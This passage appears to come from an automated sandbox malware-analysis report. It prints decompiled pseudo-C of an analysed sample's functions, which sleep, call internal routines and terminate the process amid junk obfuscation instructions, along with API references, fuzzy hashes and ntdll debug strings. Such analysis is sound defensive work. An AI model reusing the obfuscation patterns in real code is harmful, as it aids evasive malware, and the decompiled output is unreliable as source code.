				L0040115A(_t8, __edx, _t20, _t21, _t24);
				_t17 = _a4;
				Sleep(0x1388);
				_push( &_v8);
				_push(_a12);
				_push(_a8);
				_push(_t17); // executed
				_t11 = E004013A0(_t17, _t20, _t21); // executed
				if(_t11 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t11);
					_push(_t17); // executed
					L0040146D(_t17, _t19, _t20, _t21); // executed
				}
				 *_t17(0xffffffff, 0); // executed
				_push(0x1851);
				asm("les eax, [ebx+ebp*8]");
				_push(0x66);
				__esp = __esp + 4;
				return __eax;
			}

0x0040181c
0x00401830
0x00401832
0x00401832
0x0040183d
0x0040184c
0x00401851
0x00401859
0x0040185f
0x00401860
0x00401863
0x00401866
0x00401867
0x0040186e
0x00401870
0x00401873
0x00401876
0x00401877
0x00401878
0x00401878
0x00401881
0x0040188b
0x00401894
0x004018a3
0x004018a8
0x004018bb

APIs

Sleep.KERNELBASE(00001388), ref: 00401859
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 00401881

Memory Dump Source

Source File: 0000001D.00000002.460439808.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 9681a1767b4d508f443fed0373f5985461e0c9db55eb61caf3868fd7a20a383e
Instruction ID: 0d4c73ff1a25ccc0af209e25dff701d5f0484e4d803941be834223819e423ed0
Opcode Fuzzy Hash: 9681a1767b4d508f443fed0373f5985461e0c9db55eb61caf3868fd7a20a383e
Instruction Fuzzy Hash: DA019E33608204EBE7007A949D46D6A3329EF04714F24C137FA07791E1D63E9B22A76B

Uniqueness

Uniqueness Score: -1.00%

Function 00401828, Relevance: 3.0, APIs: 2, Instructions: 50
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 36%

			E00401828(void* __edx, void* __edi, void* __esi, void* __fp0) {
				void* _t8;
				void* _t11;
				intOrPtr* _t17;
				void* _t22;
				void* _t25;

				_t21 = __esi;
				_t20 = __edi;
				_t19 = __edx;
				asm("enter 0xdd16, 0x68");
				_t8 = 0x1851;
				__eax = __eax + 0xf4ebce62;
				__eflags = __eax;
				_push(0x66);
				L0040115A(_t8, __edx, __edi, __esi, _t25);
				_t17 =  *((intOrPtr*)(_t22 + 8));
				Sleep(0x1388);
				_push(_t22 - 4);
				_push( *((intOrPtr*)(_t22 + 0x10)));
				_push( *((intOrPtr*)(_t22 + 0xc)));
				_push(_t17); // executed
				_t11 = E004013A0(_t17, _t20, _t21); // executed
				if(_t11 != 0) {
					_push( *((intOrPtr*)(_t22 + 0x14)));
					_push( *((intOrPtr*)(_t22 - 4)));
					_push(_t11);
					_push(_t17); // executed
					L0040146D(_t17, _t19, _t20, _t21); // executed
				}
				 *_t17(); // executed
				asm("les eax, [ebx+ebp*8]");
				__esp = __esp + 4;
				__eax = L0040115A(__eax, __edx, __edi, __esi, __eflags);
				__edi = 0x66;
				__esi = 0x1851;
				__ebx = 0xffffffff;
				__esp = __ebp;
				__ebp = 0;
				return __eax;
			}

0x00401828
0x00401828
0x00401828
0x00401828
0x00401830
0x00401832
0x00401832
0x0040183d
0x0040184c
0x00401851
0x00401859
0x0040185f
0x00401860
0x00401863
0x00401866
0x00401867
0x0040186e
0x00401870
0x00401873
0x00401876
0x00401877
0x00401878
0x00401878
0x00401881
0x00401894
0x004018a8
0x004018b2
0x004018b7
0x004018b8
0x004018b9
0x004018ba
0x004018ba
0x004018bb

APIs

Sleep.KERNELBASE(00001388), ref: 00401859
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 00401881

Memory Dump Source

Source File: 0000001D.00000002.460439808.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 42bf2d18fab82c1cf26c6973a5f326e6893aee6dc713cdbf8bdbea5eda66952d
Instruction ID: b329b9df0df391f908064f7b6fb4b650575042adab4467ec8a7c1b58a8870e1c
Opcode Fuzzy Hash: 42bf2d18fab82c1cf26c6973a5f326e6893aee6dc713cdbf8bdbea5eda66952d
Instruction Fuzzy Hash: F701B533648200EBE700BB909C42E6A37259F04701F248137FA53791E1D63ED722E72B

Uniqueness

Uniqueness Score: -1.00%

Function 004017DA, Relevance: 3.0, APIs: 2, Instructions: 49
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E004017DA(void* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __fp0) {
				void* _t31;
				void* _t39;
				signed int _t40;

				L0:
				while(1) {
					_t31 = __edi;
					_t16 = __eax;
					__eax = __esp;
					__esp = _t16;
					_t17 = __eax;
					__eax = _t16;
					__esp = _t17;
					__eax = __edi * 0xffffff88;
					__eflags = __eax;
					if(__eflags >= 0) {
						L21:
						_push(0x66);
						__esp = __esp + 4;
						L23:
						__eax = L0040115A(__eax, __edx, __edi, __esi, __eflags);
						__ebx =  *((intOrPtr*)(__ebp + 8));
						Sleep(0x1388);
						__eax = __ebp - 4;
						_push(__ebp - 4);
						_push( *((intOrPtr*)(__ebp + 0x10)));
						_push( *((intOrPtr*)(__ebp + 0xc)));
						_push(__ebx); // executed
						__eax = E004013A0(__ebx, __edi, __esi); // executed
						__eflags = __eax;
						if(__eax != 0) {
							L24:
							_push( *((intOrPtr*)(__ebp + 0x14)));
							_push( *(__ebp - 4));
							L25:
							_push(__eax);
							_push(__ebx); // executed
							__eax = L0040146D(__ebx, __edx, __edi, __esi); // executed
						}
						L26:
						__eax =  *__ebx(0xffffffff, 0); // executed
						L29:
						L27:
						_push(0x1851);
						__eax =  *__esp;
						L28:
						__al = __al & 0x00000083;
						asm("les eax, [ebx+ebp*8]");
						__eax = __eax + 0xefeb0eeb;
						__eflags = __eax;
						L30:
						L35:
						L31:
						_push(0x66);
						L32:
						L33:
						__esp = __esp + 4;
						L34:
						L36:
						__eax = L0040115A(__eax, __edx, __edi, __esi, __eflags);
						_pop(__edi);
						_pop(__esi);
						_pop(__ebx);
						__esp = __ebp;
						_pop(__ebp);
						return __eax;
					} else {
						L14:
						_push(0x867f6b6b);
						goto 0x363cf8f5;
						asm("adc byte [esp+edx*4+0x17b0901f], 0x50");
						if(__eflags > 0) {
							L5:
							asm("stosb");
							_t5 = __eax;
							__eax = __esp;
							__esp = _t5;
							asm("loopne 0xffffffbe");
							_pop(ds);
							asm("stosb");
							_pop(ds);
							asm("ficom dword [eax+0x459c7d17]");
							if(__eflags < 0) {
								L6:
								_push(__edx);
								asm("pushfd");
								asm("movsd");
								_push(__esp);
								asm("repne cmp [0x9494a494], edi");
								asm("loopne 0xffffff9a");
								L7:
								asm("wait");
								_t6 = __eax;
								__eax = __esp;
								__esp = _t6;
								_t7 = __eax;
								__eax = _t6;
								__esp = _t7;
								__eax = __edi;
								__edi = _t6;
								_t10 = 0x7684bd6c + __edx * 4;
								 *_t10 =  *(0x7684bd6c + __edx * 4) >> 1;
								__eflags =  *_t10;
							}
							L8:
							__ebp = 0x7f737684;
						} else {
							L15:
							if (__eflags >= 0) goto L11;
							L16:
							asm("xlatb");
						}
					}
					L37:
				}
				L3:
				_t4 = _t31;
				_t31 = _t39;
				_t39 = _t4;
				if(_t40 > 0) {
					_t2 = _t31 + 0xe;
					 *_t2 =  *(_t31 + 0xe) << 0x4d;
					_t40 =  *_t2;
					asm("cmpsd");
					goto L3;
				}
				return _t31;
				goto L37;
			}

0x004017da
0x004017da
0x004017da
0x004017db
0x004017db
0x004017db
0x004017dc
0x004017dc
0x004017dc
0x004017dd
0x004017dd
0x004017e0
0x0040183d
0x0040183d
0x00401842
0x0040184c
0x0040184c
0x00401851
0x00401859
0x0040185c
0x0040185f
0x00401860
0x00401863
0x00401866
0x00401867
0x0040186c
0x0040186e
0x00401870
0x00401870
0x00401873
0x00401876
0x00401876
0x00401877
0x00401878
0x00401878
0x0040187d
0x00401881
0x0040189a
0x0040188b
0x0040188b
0x00401890
0x00401892
0x00401892
0x00401894
0x00401897
0x00401897
0x0040189d
0x004018af
0x004018a3
0x004018a3
0x004018a4
0x004018a8
0x004018a8
0x004018ab
0x004018b2
0x004018b2
0x004018b7
0x004018b8
0x004018b9
0x004018ba
0x004018ba
0x004018bb
0x004017e2
0x004017e2
0x004017e2
0x004017e7
0x004017ec
0x004017f5
0x00401788
0x00401788
0x00401789
0x00401789
0x00401789
0x0040178a
0x0040178c
0x0040178d
0x0040178e
0x0040178f
0x00401795
0x00401797
0x00401797
0x00401798
0x00401799
0x0040179a
0x0040179b
0x004017a2
0x004017a3
0x004017a6
0x004017a7
0x004017a7
0x004017a7
0x004017a8
0x004017a8
0x004017a8
0x004017a9
0x004017a9
0x004017aa
0x004017aa
0x004017aa
0x004017aa
0x004017ae
0x004017ae
0x004017f7
0x004017f7
0x004017f7
0x004017f8
0x004017f8
0x004017f8
0x004017f5
0x00000000
0x004017e0
0x00401772
0x00401772
0x00401772
0x00401772
0x00401773
0x0040176a
0x0040176a
0x0040176a
0x00401771
0x00000000
0x00401771
0x00401775
0x00000000

APIs

Sleep.KERNELBASE(00001388), ref: 00401859
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 00401881

Memory Dump Source

Source File: 0000001D.00000002.460439808.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 28b29540905efe5db8ff2bd5dd41cd95d97ba45c28065df784f5026ed89a0097
Instruction ID: a894bf59af688e7f2aefbaf232239d4a7e11f6dbdc9ab261776b6b6844387aa1
Opcode Fuzzy Hash: 28b29540905efe5db8ff2bd5dd41cd95d97ba45c28065df784f5026ed89a0097
Instruction Fuzzy Hash: 0A018432644201EBEB00BA909D42D6E3325AF44714F248137FA17BA1E1D63EDB22976B

Uniqueness

Uniqueness Score: -1.00%

Function 004017F8, Relevance: 1.5, APIs: 1, Instructions: 45
nativeCOMMON

Download Yara Rule

C-Code - Quality: 35%

			E004017F8(void* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t30;
				void* _t37;
				signed int _t39;

				L0:
				while(1) {
					_t30 = __eax;
					asm("xlatb");
					__eax =  *__edi * 8;
					__eflags = __eax;
					_t12 = __eax;
					__eax = __esp;
					__esp = _t12;
					_t13 = __eax;
					__eax = _t12;
					__esp = _t13;
					__eax = _t13;
					__esp = _t12;
					if(__eflags > 0) {
						L2:
						asm("cmpsd");
						L3:
						_t3 = _t30;
						_t30 = _t37;
						_t37 = _t3;
						if(_t39 > 0) {
							L1:
							_t1 = _t30 + 0xe;
							 *_t1 =  *(_t30 + 0xe) << 0x4d;
							_t39 =  *_t1;
							goto L2;
						}
						L4:
						return _t30;
					} else {
						L12:
						asm("cld");
						if (__eflags < 0) goto L3;
						L13:
						_t15 = __eax;
						__eax = __edi;
						__edi = _t15;
					}
					L37:
				}
				if(__eflags > 0) {
					__eax = L0040146D(__ebx, __edx, __edi, __esi); // executed
					__eax =  *__ebx(__ebx, __eax); // executed
					__eax =  *__esp;
					__al = __al & 0x00000083;
					asm("les eax, [ebx+ebp*8]");
					__eax = __eax + 0xefeb0eeb;
					__eflags = __eax;
					__esp = __esp + 4;
					__eax = L0040115A(__eax, __edx, __edi, __esi, __eflags);
					__edi = 0x66;
					__esi = 0x1851;
					__ebx = 0xffffffff;
					__esp = __ebp;
					__ebp = 0;
					return __eax;
				} else {
					__bh = __bh &  *(__edi - 0x65);
					asm("clc");
					asm("popfd");
					asm("lodsd");
					asm("enter 0xe0fc, 0x97");
					_t19 = __eax;
					__eax = __esp;
					__esp = _t19;
					_t20 = __eax;
					__eax = _t19;
					__esp = _t20;
					asm("int 0x7f");
					__eax = __ecx;
					__ecx = _t19;
					__bh = 0x7f;
					asm("pushad");
					asm("repne jl 0xffffffd4");
					asm("insd");
					__ebp =  *(__ebx + 0x5f) * 0x5e;
					__eflags = __ebp;
					_pop(__ebx);
					__esp = __ebp;
					_pop(__ebp);
					return __eax;
				}
				goto L37;
			}

0x004017f8
0x004017f8
0x004017f8
0x004017f8
0x004017d0
0x004017d0
0x004017d3
0x004017d3
0x004017d3
0x004017d4
0x004017d4
0x004017d4
0x004017d5
0x004017d5
0x004017d6
0x00401771
0x00401771
0x00401772
0x00401772
0x00401772
0x00401772
0x00401773
0x0040176a
0x0040176a
0x0040176a
0x0040176a
0x00000000
0x0040176e
0x00401775
0x00401775
0x004017d8
0x004017d8
0x004017d8
0x004017d9
0x004017da
0x004017da
0x004017da
0x004017da
0x004017da
0x00000000
0x004017d6
0x004017f9
0x00401878
0x00401881
0x00401890
0x00401892
0x00401894
0x00401897
0x00401897
0x004018a8
0x004018b2
0x004018b7
0x004018b8
0x004018b9
0x004018ba
0x004018ba
0x004018bb
0x004017fb
0x004017fb
0x004017fe
0x004017ff
0x00401801
0x00401802
0x00401806
0x00401806
0x00401806
0x00401807
0x00401807
0x00401807
0x00401808
0x0040180a
0x0040180a
0x0040180b
0x0040180e
0x0040180f
0x00401812
0x00401813
0x00401813
0x00401817
0x00401818
0x00401818
0x00401819
0x00401819
0x00000000

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 00401881

Memory Dump Source

Source File: 0000001D.00000002.460439808.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 24457665454172ec648fb8d2a6e20ed3a66d6914c2e0f3d8e5c3e978159e5634
Instruction ID: 5d664576ed34e104d60d9d9409068ebedb4ca3d0074abe090f0a839b89efd0e8
Opcode Fuzzy Hash: 24457665454172ec648fb8d2a6e20ed3a66d6914c2e0f3d8e5c3e978159e5634
Instruction Fuzzy Hash: DCF0C233748211DAE205B6599C83B29B3909F11724F24813BE557BB1E2D26E9622525F

Uniqueness

Uniqueness Score: -1.00%

Function 6CE4967A, Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6CE91C65,000000FF,00000007,?,00000004,00000000,?,?,?,6CE91951,00000065,00000000,?,6CE90C5E,?,00000000), ref: 6CE49694

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 585f089537050c661db40d61dea38192df7255f1c5c3c92438311e41d5e22954
Instruction ID: 66b14cd21303b285ae6281dcea1ba7d9b020a75f07f2361b5d773ab50aa98565
Opcode Fuzzy Hash: 585f089537050c661db40d61dea38192df7255f1c5c3c92438311e41d5e22954
Instruction Fuzzy Hash: 02B02BB1D020C0C6D201D36007087073E2477C0304F36C061D1020680A433CC0D0F1B1

Uniqueness

Uniqueness Score: -1.00%

Function 6CE49660, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6CE918BF,000000FF,00000000,00000000,0000000C,00001000,00000004,6CEE0810,0000001C,6CE91616), ref: 6CE4966A

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 60932ea2f46fcbe2dd9f62bae72cdafb19887384b14b1b23dd7c59f6dee1ebf4
Instruction ID: a9ca1e5daeee29f95516d78842a6109427ccee688e9771cfdd2bc24723426cbf
Opcode Fuzzy Hash: 60932ea2f46fcbe2dd9f62bae72cdafb19887384b14b1b23dd7c59f6dee1ebf4
Instruction Fuzzy Hash: FA9002B530100803D1817159450664A051997D1341FE1C025A0015A54DCA56CBA977E1

Uniqueness

Uniqueness Score: -1.00%

Function 6CE49600, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6CE41119,?,?,00000018,?), ref: 6CE4960A

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 62a32fd3c23d3f2128fdb1ed8cbe98076dafabbfa69c031495c9cd31678118d2
Instruction ID: 003d59ed23a9ff65b8d3cce310c80ac330602112d59beb7c2c2dee3afc1720a5
Opcode Fuzzy Hash: 62a32fd3c23d3f2128fdb1ed8cbe98076dafabbfa69c031495c9cd31678118d2
Instruction Fuzzy Hash: F49002B530100443D10162594506B4A4619A7E0341FA1C025A0404A54DC596C9B17161

Uniqueness

Uniqueness Score: -1.00%

Function 6CE49780, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6CE91A79,?,000000FF,?,00000000,00000000,00000000,?,00000001,00000000,00000004,?,000F0007,?,?,00000004), ref: 6CE4978A

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 79e693119d0cdc2d3242a174fc63b57bac72c9deae063b6be4ac60e668678ac1
Instruction ID: 5328e906e77f7bcb6eadfb806125259b27aec6789d667b8cb7cfd8d9e96950af
Opcode Fuzzy Hash: 79e693119d0cdc2d3242a174fc63b57bac72c9deae063b6be4ac60e668678ac1
Instruction Fuzzy Hash: 6F9002AD31300003D1817159550A60A051997D1242FE1D425A0005958CC956C9B96361

Uniqueness

Uniqueness Score: -1.00%

Function 6CE498C0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6CE9108E,000000FF,000000FF,000000FF,?,001FFFFF,00000002,00000000,6CEE07D0,00000058,6CE90C91,?,00000000,?,00000000), ref: 6CE498CA

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 0ae4c42b56c1358911d8ae6f0f81619ff92f4cc4981d11ca0c006571736a7c58
Instruction ID: 8ed39573aa1561450d3b387fd82451bdf4aa413a920f42954e5a5180ac5f1560
Opcode Fuzzy Hash: 0ae4c42b56c1358911d8ae6f0f81619ff92f4cc4981d11ca0c006571736a7c58
Instruction Fuzzy Hash: FB9002A530100483E10261594506F06151D97E0281FE1C026A1019964DC656CAA2B265

Uniqueness

Uniqueness Score: -1.00%

Function 6CE49860, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6CE915BB,00000073,?,00000008,00000000,?,00000568), ref: 6CE4986A

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 48fd574c9a9038f24b3ab4a651b715dd9f397c95ccc0681e7c032aee9677507e
Instruction ID: b22743a2348863f1bfe7aa53ab3e83d8dcccc8830b8ee8edf521bc593fa7bf42
Opcode Fuzzy Hash: 48fd574c9a9038f24b3ab4a651b715dd9f397c95ccc0681e7c032aee9677507e
Instruction Fuzzy Hash: 2B9002B530100413D11261594606707051D97D0281FE1C422A0414958DD697CAA2B161

Uniqueness

Uniqueness Score: -1.00%

Function 6CE49820, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6CE62EA4,?,00000000,00000000,?,00000220,?,?,?,00000001,?,\??\,?,?,00000002,?), ref: 6CE4982A

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c441a7309812ddde1874d6cf6986cfcec4a7db13d6771bcb1217530e6a641b1d
Instruction ID: 678be8a8546a452f1477e74a6525fa4428f4c04b7f21bf3f399f6dfba7b9eb85
Opcode Fuzzy Hash: c441a7309812ddde1874d6cf6986cfcec4a7db13d6771bcb1217530e6a641b1d
Instruction Fuzzy Hash: E39002B534100403D14271594506606051DA7D0281FE1C022A0414954EC696CBA6BAA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CE499A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6CE91A59,?,000F0007,?,?,00000004,08000000,00000000,00000065,00000000,00000000), ref: 6CE499AA

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: dda3575cbc389c988cc9ebd75c4b60bfd0546a28d59043a1e879d91b313a49a7
Instruction ID: 943d5a94f6c746a915dfe9b94e9791118ee984c81eb54c42654533f64e9c23d0
Opcode Fuzzy Hash: dda3575cbc389c988cc9ebd75c4b60bfd0546a28d59043a1e879d91b313a49a7
Instruction Fuzzy Hash: 529002E534100443D10161594516B060519D7E1341FA1C025E1054954DC65ACDA27166

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6CEBB260, Relevance: 91.3, APIs: 22, Strings: 30, Instructions: 262COMMON

Download Yara Rule

APIs

DbgPrintEx.1105(00000065,00000000, *** Unhandled exception 0x%08lx, hit in %ws:%s,?,<unknown>,?,6CEE0DD8,00000018,6CEBB5A3,?,6CDE48A4,?,?,6CE4B74A,6CDE1650,6CE4B627), ref: 6CEBB2E6
DbgPrintEx.1105(00000065,00000000, *** A stack buffer overrun occurred in %ws:%s,<unknown>,?,6CEE0DD8,00000018,6CEBB5A3,?,6CDE48A4,?,?,6CE4B74A,6CDE1650,6CE4B627,6CE4B627), ref: 6CEBB2FD
DbgPrintEx.1105(00000065,00000000,This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked.), ref: 6CEBB30C
DbgPrintEx.1105(00000065,00000000,If this bug ends up in the shipping product, it could be a severe security hole.), ref: 6CEBB31B
DbgPrintEx.1105(00000065,00000000,a NULL pointer), ref: 6CEBB4E7
DbgPrintEx.1105(00000065,00000000, *** enter .exr %p for the exception record,?), ref: 6CEBB4F8
DbgPrintEx.1105(00000065,00000000, *** enter .cxr %p for the context,?), ref: 6CEBB514
DbgPrintEx.1105(00000065,00000000, *** then kb to get the faulting stack), ref: 6CEBB523
DbgPrintEx.1105(00000065,00000000, *** Restarting wait on critsec or resource at %p (in %ws:%s),?,?,?), ref: 6CEBB546
RtlReportException.1105(00000000,?,00000000), ref: 6CEBB566

Strings

This failed because of error %Ix., xrefs: 6CEBB446
This means the data could not be read, typically because of a bad block on the disk. Check your hardware., xrefs: 6CEBB47D
The instruction at %p tried to %s , xrefs: 6CEBB4B6
The resource is owned shared by %d threads, xrefs: 6CEBB37E
*** Critical Section Timeout (%p) in %ws:%s, xrefs: 6CEBB39B
a NULL pointer, xrefs: 6CEBB4E0
Go determine why that thread has not released the critical section., xrefs: 6CEBB3C5
*** An Access Violation occurred in %ws:%s, xrefs: 6CEBB48F
*** Unhandled exception 0x%08lx, hit in %ws:%s, xrefs: 6CEBB2DC
read from, xrefs: 6CEBB4AD, 6CEBB4B2
This means the machine is out of memory. Use !vm to see where all the memory is being used., xrefs: 6CEBB484
The critical section is owned by thread %p., xrefs: 6CEBB3B9
an invalid address, %p, xrefs: 6CEBB4CF
The resource is owned exclusively by thread %p, xrefs: 6CEBB374
*** enter .cxr %p for the context, xrefs: 6CEBB50D
This means that the I/O device reported an I/O error. Check your hardware., xrefs: 6CEBB476
*** enter .exr %p for the exception record, xrefs: 6CEBB4F1
*** Restarting wait on critsec or resource at %p (in %ws:%s), xrefs: 6CEBB53F
<unknown>, xrefs: 6CEBB27E, 6CEBB2D1, 6CEBB350, 6CEBB399, 6CEBB417, 6CEBB48E
If this bug ends up in the shipping product, it could be a severe security hole., xrefs: 6CEBB314
*** then kb to get the faulting stack, xrefs: 6CEBB51C
The critical section is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 6CEBB3D6
*** Inpage error in %ws:%s, xrefs: 6CEBB418
The stack trace should show the guilty function (the function directly above __report_gsfailure)., xrefs: 6CEBB323
*** Resource timeout (%p) in %ws:%s, xrefs: 6CEBB352
This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked., xrefs: 6CEBB305
write to, xrefs: 6CEBB4A6
The instruction at %p referenced memory at %p., xrefs: 6CEBB432
*** A stack buffer overrun occurred in %ws:%s, xrefs: 6CEBB2F3
The resource is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 6CEBB38F

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$ExceptionReport
String ID: *** A stack buffer overrun occurred in %ws:%s$ *** An Access Violation occurred in %ws:%s$ *** Critical Section Timeout (%p) in %ws:%s$ *** Inpage error in %ws:%s$ *** Resource timeout (%p) in %ws:%s$ *** Unhandled exception 0x%08lx, hit in %ws:%s$ *** enter .cxr %p for the context$ *** Restarting wait on critsec or resource at %p (in %ws:%s)$ *** enter .exr %p for the exception record$ *** then kb to get the faulting stack$<unknown>$Go determine why that thread has not released the critical section.$If this bug ends up in the shipping product, it could be a severe security hole.$The critical section is owned by thread %p.$The critical section is unowned. This usually implies a slow-moving machine due to memory pressure$The instruction at %p referenced memory at %p.$The instruction at %p tried to %s $The resource is owned exclusively by thread %p$The resource is owned shared by %d threads$The resource is unowned. This usually implies a slow-moving machine due to memory pressure$The stack trace should show the guilty function (the function directly above __report_gsfailure).$This failed because of error %Ix.$This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked.$This means that the I/O device reported an I/O error. Check your hardware.$This means the data could not be read, typically because of a bad block on the disk. Check your hardware.$This means the machine is out of memory. Use !vm to see where all the memory is being used.$a NULL pointer$an invalid address, %p$read from$write to
API String ID: 374826753-108210295
Opcode ID: cbe4e9d5784d0895f10fd9600367ba3cdf2cd5d1ab88ceb0b850b8095cdb8729
Instruction ID: 1a9e09b501e741a7e8d75566b7eb0d6fe8bafd4cf5d00d26b365d00a1bf450ee
Opcode Fuzzy Hash: cbe4e9d5784d0895f10fd9600367ba3cdf2cd5d1ab88ceb0b850b8095cdb8729
